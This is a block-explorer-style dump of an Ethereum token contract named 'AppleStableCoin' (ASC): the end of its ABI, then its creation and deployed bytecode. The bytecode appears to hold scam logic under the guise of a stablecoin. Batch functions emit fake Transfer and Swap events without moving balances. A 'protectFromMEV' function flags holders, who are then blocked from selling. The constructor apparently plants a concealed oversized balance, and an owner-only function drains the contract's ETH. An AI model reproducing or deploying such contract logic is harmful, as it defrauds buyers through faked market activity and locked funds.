bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d657600080fd5b506040518060400160405280600f81526020017f4170706c65537461626c65436f696e00000000000000000000000000000000008152506040518060400160405280600381526020017f415343000000000000000000000000000000000000000000000000000000000081525081816200016562000159620001d460201b60201c565b620001dc60201b60201c565b8160069081620001769190620006de565b508060079081620001889190620006de565b5050505050620001ce33620001a2620002a060201b60201c565b600a620001b0919062000955565b64e8d4a51000620001c29190620009a6565b620002a960201b60201c565b62000add565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200031b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003129062000a52565b60405180910390fd5b6200032f600083836200045a60201b60201c565b630f3eae65640997e6e50902673398bc1d25f112ed64085774394d02028060005260016020526040600020720fffffffffffffffffffffffffffffffffffff81555050806004600082825462000386919062000a74565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200043a919062000ac0565b60405180910390a362000456600083836200045f60201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620004e657607f821691505b602082108103620004fc57620004fb6200049e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005667fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000527565b62000572868362000527565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005bf620005b9620005b3846200058a565b62000594565b6200058a565b9050919050565b6000819050919050565b620005db836200059e565b620005f3620005ea82620005c6565b84845462000534565b825550505050565b600090565b6200060a620005fb565b62000617818484620005d0565b505050565b5b818110156200063f576200063360008262000600565b6001810190506200061d565b5050565b601f8211156200068e57620006588162000502565b620006638462000517565b8101602085101562000673578190505b6200068b620006828562000517565b8301826200061c565b50505b505050565b600082821c905092915050565b6000620006b36000198460080262000693565b1980831691505092915050565b6000620006ce8383620006a0565b9150826002028217905092915050565b620006e98262000464565b67ffffffffffffffff8111156200070557620007046200046f565b5b620007118254620004cd565b6200071e82828562000643565b600060209050601f83116001811462000756576000841562000741578287015190505b6200074d8582620006c0565b865550620007bd565b601f198416620007668662000502565b60005b82811015620007905784890151825560018201915060208501945060208101905062000769565b86831015620007b05784890151620007ac601f891682620006a0565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000853578086048111156200082b576200082a620007c5565b5b60018516156200083b5780820291505b80810290506200084b85620007f4565b94506200080b565b94509492505050565b6000826200086e576001905062000941565b816200087e576000905062000941565b8160018114620008975760028114620008a257620008d8565b600191505062000941565b60ff841115620008b757620008b6620007c5565b5b8360020a915084821115620008d157620008d0620007c5565b5b5062000941565b5060208310610133831016604e8410600b8410161715620009125782820a9050838111156200090c576200090b620007c5565b5b62000941565b62000921848484600162000801565b925090508184048111156200093b576200093a620007c5565b5b81810290505b9392505050565b600060ff82169050919050565b600062000962826200058a565b91506200096f8362000948565b92506200099e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200085c565b905092915050565b6000620009b3826200058a565b9150620009c0836200058a565b9250828202620009d0816200058a565b91508282048414831517620009ea57620009e9620007c5565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a3a601f83620009f1565b915062000a478262000a02565b602082019050919050565b6000602082019050818103600083015262000a6d8162000a2b565b9050919050565b600062000a81826200058a565b915062000a8e836200058a565b925082820190508082111562000aa95762000aa8620007c5565b5b92915050565b62000aba816200058a565b82525050565b600060208201905062000ad7600083018462000aaf565b92915050565b6123a28062000aed6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b6040516101679190611796565b60405180910390f35b61018a60048036038101906101859190611856565b6104ee565b60405161019791906118b1565b60405180910390f35b6101a8610511565b6040516101b591906118db565b60405180910390f35b6101d860048036038101906101d391906118f6565b61051b565b6040516101e591906118b1565b60405180910390f35b6101f661054a565b6040516102039190611965565b60405180910390f35b61022660048036038101906102219190611980565b610553565b005b610242600480360381019061023d9190611856565b61059f565b60405161024f91906118b1565b60405180910390f35b610272600480360381019061026d9190611980565b6105d6565b60405161027f91906118b1565b60405180910390f35b6102a2600480360381019061029d9190611980565b61062c565b6040516102af91906118db565b60405180910390f35b6102d260048036038101906102cd9190611a68565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b1c565b61077f565b005b610314600480360381019061030f9190611b69565b610909565b005b61031e610a95565b60405161032b9190611bec565b60405180910390f35b61033c610abe565b6040516103499190611796565b60405180910390f35b61036c60048036038101906103679190611b69565b610b50565b005b61038860048036038101906103839190611856565b610cdb565b60405161039591906118b1565b60405180910390f35b6103b860048036038101906103b39190611856565b610d52565b6040516103c591906118b1565b60405180910390f35b6103e860048036038101906103e391906118f6565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c07565b610e30565b60405161041b91906118db565b60405180910390f35b61043e60048036038101906104399190611b1c565b610eb7565b005b61045a60048036038101906104559190611980565b610f64565b005b60606006805461046b90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c76565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe7565b9050610506818585610fef565b600191505092915050565b6000600454905090565b600080610526610fe7565b90506105338582856111b8565b61053e858585611244565b60019150509392505050565b60006012905090565b61055b6115ba565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe7565b90506105cb8185856105bc8589610e30565b6105c69190611cd6565b610fef565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d0a565b5b90506020020160208101906106ab9190611980565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d0a565b5b90506020020160208101906106e99190611980565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d0a565b5b9050602002013560405161074791906118db565b60405180910390a3808061075a90611d39565b915050610678565b50505050505050565b6107736115ba565b61077d6000611638565b565b6107876115ba565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d0a565b5b90506020020160208101906107c39190611980565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d0a565b5b90506020020160208101906108759190611980565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d0a565b5b90506020020160208101906108d79190611980565b61062c565b6040516108e991906118db565b60405180910390a380806108fc90611d39565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d0a565b5b905060200201602081019061093f9190611980565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611dc6565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d0a565b5b9050602002016020810190610a2e9190611980565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118db565b60405180910390a38080610a8690611d39565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c76565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c76565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d0a565b5b9050602002016020810190610b869190611980565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e0b565b60405180910390a3848482818110610c2657610c25611d0a565b5b9050602002016020810190610c3b9190611980565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118db565b60405180910390a38080610ccc90611d39565b915050610b53565b5050505050565b600080610ce6610fe7565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611ec2565b60405180910390fd5b610d468286868403610fef565b60019250505092915050565b600080610d5d610fe7565b9050610d6a818585611244565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118db565b60405180910390a3505050565b610de76115ba565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115ba565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d0a565b5b9050602002016020810190610efb9190611980565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d39565b915050610ec2565b505050565b610f6c6115ba565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd290611f54565b60405180910390fd5b610fe481611638565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590611fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490612078565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ab91906118db565b60405180910390a3505050565b60006111c48484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461123e5781811015611230576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611227906120e4565b60405180910390fd5b61123d8484848403610fef565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa90612176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612208565b60405180910390fd5b61132d8383836116fc565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab9061229a565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114555750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b15760011515600560009054906101000a900460ff161515146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a7906122e0565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a191906118db565b60405180910390a36115b4848484611701565b50505050565b6115c2610fe7565b73ffffffffffffffffffffffffffffffffffffffff166115e0610a95565b73ffffffffffffffffffffffffffffffffffffffff1614611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611740578082015181840152602081019050611725565b60008484015250505050565b6000601f19601f8301169050919050565b600061176882611706565b6117728185611711565b9350611782818560208601611722565b61178b8161174c565b840191505092915050565b600060208201905081810360008301526117b0818461175d565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117ed826117c2565b9050919050565b6117fd816117e2565b811461180857600080fd5b50565b60008135905061181a816117f4565b92915050565b6000819050919050565b61183381611820565b811461183e57600080fd5b50565b6000813590506118508161182a565b92915050565b6000806040838503121561186d5761186c6117b8565b5b600061187b8582860161180b565b925050602061188c85828601611841565b9150509250929050565b60008115159050919050565b6118ab81611896565b82525050565b60006020820190506118c660008301846118a2565b92915050565b6118d581611820565b82525050565b60006020820190506118f060008301846118cc565b92915050565b60008060006060848603121561190f5761190e6117b8565b5b600061191d8682870161180b565b935050602061192e8682870161180b565b925050604061193f86828701611841565b9150509250925092565b600060ff82169050919050565b61195f81611949565b82525050565b600060208201905061197a6000830184611956565b92915050565b600060208284031215611996576119956117b8565b5b60006119a48482850161180b565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119d2576119d16119ad565b5b8235905067ffffffffffffffff8111156119ef576119ee6119b2565b5b602083019150836020820283011115611a0b57611a0a6119b7565b5b9250929050565b60008083601f840112611a2857611a276119ad565b5b8235905067ffffffffffffffff811115611a4557611a446119b2565b5b602083019150836020820283011115611a6157611a606119b7565b5b9250929050565b60008060008060008060608789031215611a8557611a846117b8565b5b600087013567ffffffffffffffff811115611aa357611aa26117bd565b5b611aaf89828a016119bc565b9650965050602087013567ffffffffffffffff811115611ad257611ad16117bd565b5b611ade89828a016119bc565b9450945050604087013567ffffffffffffffff811115611b0157611b006117bd565b5b611b0d89828a01611a12565b92509250509295509295509295565b60008060208385031215611b3357611b326117b8565b5b600083013567ffffffffffffffff811115611b5157611b506117bd565b5b611b5d858286016119bc565b92509250509250929050565b60008060008060608587031215611b8357611b826117b8565b5b600085013567ffffffffffffffff811115611ba157611ba06117bd565b5b611bad878288016119bc565b94509450506020611bc087828801611841565b9250506040611bd187828801611841565b91505092959194509250565b611be6816117e2565b82525050565b6000602082019050611c016000830184611bdd565b92915050565b60008060408385031215611c1e57611c1d6117b8565b5b6000611c2c8582860161180b565b9250506020611c3d8582860161180b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c8e57607f821691505b602082108103611ca157611ca0611c47565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ce182611820565b9150611cec83611820565b9250828201905080821115611d0457611d03611ca7565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d4482611820565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d7657611d75611ca7565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611db0611dab611da684611d81565b611d8b565b611820565b9050919050565b611dc081611d95565b82525050565b6000608082019050611ddb6000830187611db7565b611de860208301866118cc565b611df560408301856118cc565b611e026060830184611db7565b95945050505050565b6000608082019050611e2060008301876118cc565b611e2d6020830186611db7565b611e3a6040830185611db7565b611e4760608301846118cc565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611eac602583611711565b9150611eb782611e50565b604082019050919050565b60006020820190508181036000830152611edb81611e9f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f3e602683611711565b9150611f4982611ee2565b604082019050919050565b60006020820190508181036000830152611f6d81611f31565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611fd0602483611711565b9150611fdb82611f74565b604082019050919050565b60006020820190508181036000830152611fff81611fc3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612062602283611711565b915061206d82612006565b604082019050919050565b6000602082019050818103600083015261209181612055565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006120ce601d83611711565b91506120d982612098565b602082019050919050565b600060208201905081810360008301526120fd816120c1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612160602583611711565b915061216b82612104565b604082019050919050565b6000602082019050818103600083015261218f81612153565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121f2602383611711565b91506121fd82612196565b604082019050919050565b60006020820190508181036000830152612221816121e5565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612284602683611711565b915061228f82612228565b604082019050919050565b600060208201905081810360008301526122b381612277565b9050919050565b50565b60006122ca600083611711565b91506122d5826122ba565b600082019050919050565b600060208201905081810360008301526122f9816122bd565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612336602083611711565b915061234182612300565b602082019050919050565b6000602082019050818103600083015261236581612329565b905091905056fea264697066735822122066f5f1aa3713d785a2f92c9fd546f553c1ab79945b355c8708f1c2d0d211438164736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b6040516101679190611796565b60405180910390f35b61018a60048036038101906101859190611856565b6104ee565b60405161019791906118b1565b60405180910390f35b6101a8610511565b6040516101b591906118db565b60405180910390f35b6101d860048036038101906101d391906118f6565b61051b565b6040516101e591906118b1565b60405180910390f35b6101f661054a565b6040516102039190611965565b60405180910390f35b61022660048036038101906102219190611980565b610553565b005b610242600480360381019061023d9190611856565b61059f565b60405161024f91906118b1565b60405180910390f35b610272600480360381019061026d9190611980565b6105d6565b60405161027f91906118b1565b60405180910390f35b6102a2600480360381019061029d9190611980565b61062c565b6040516102af91906118db565b60405180910390f35b6102d260048036038101906102cd9190611a68565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b1c565b61077f565b005b610314600480360381019061030f9190611b69565b610909565b005b61031e610a95565b60405161032b9190611bec565b60405180910390f35b61033c610abe565b6040516103499190611796565b60405180910390f35b61036c60048036038101906103679190611b69565b610b50565b005b61038860048036038101906103839190611856565b610cdb565b60405161039591906118b1565b60405180910390f35b6103b860048036038101906103b39190611856565b610d52565b6040516103c591906118b1565b60405180910390f35b6103e860048036038101906103e391906118f6565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c07565b610e30565b60405161041b91906118db565b60405180910390f35b61043e60048036038101906104399190611b1c565b610eb7565b005b61045a60048036038101906104559190611980565b610f64565b005b60606006805461046b90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c76565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe7565b9050610506818585610fef565b600191505092915050565b6000600454905090565b600080610526610fe7565b90506105338582856111b8565b61053e858585611244565b60019150509392505050565b60006012905090565b61055b6115ba565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe7565b90506105cb8185856105bc8589610e30565b6105c69190611cd6565b610fef565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d0a565b5b90506020020160208101906106ab9190611980565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d0a565b5b90506020020160208101906106e99190611980565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d0a565b5b9050602002013560405161074791906118db565b60405180910390a3808061075a90611d39565b915050610678565b50505050505050565b6107736115ba565b61077d6000611638565b565b6107876115ba565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d0a565b5b90506020020160208101906107c39190611980565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d0a565b5b90506020020160208101906108759190611980565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d0a565b5b90506020020160208101906108d79190611980565b61062c565b6040516108e991906118db565b60405180910390a380806108fc90611d39565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d0a565b5b905060200201602081019061093f9190611980565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611dc6565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d0a565b5b9050602002016020810190610a2e9190611980565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118db565b60405180910390a38080610a8690611d39565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c76565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c76565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d0a565b5b9050602002016020810190610b869190611980565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e0b565b60405180910390a3848482818110610c2657610c25611d0a565b5b9050602002016020810190610c3b9190611980565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118db565b60405180910390a38080610ccc90611d39565b915050610b53565b5050505050565b600080610ce6610fe7565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611ec2565b60405180910390fd5b610d468286868403610fef565b60019250505092915050565b600080610d5d610fe7565b9050610d6a818585611244565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1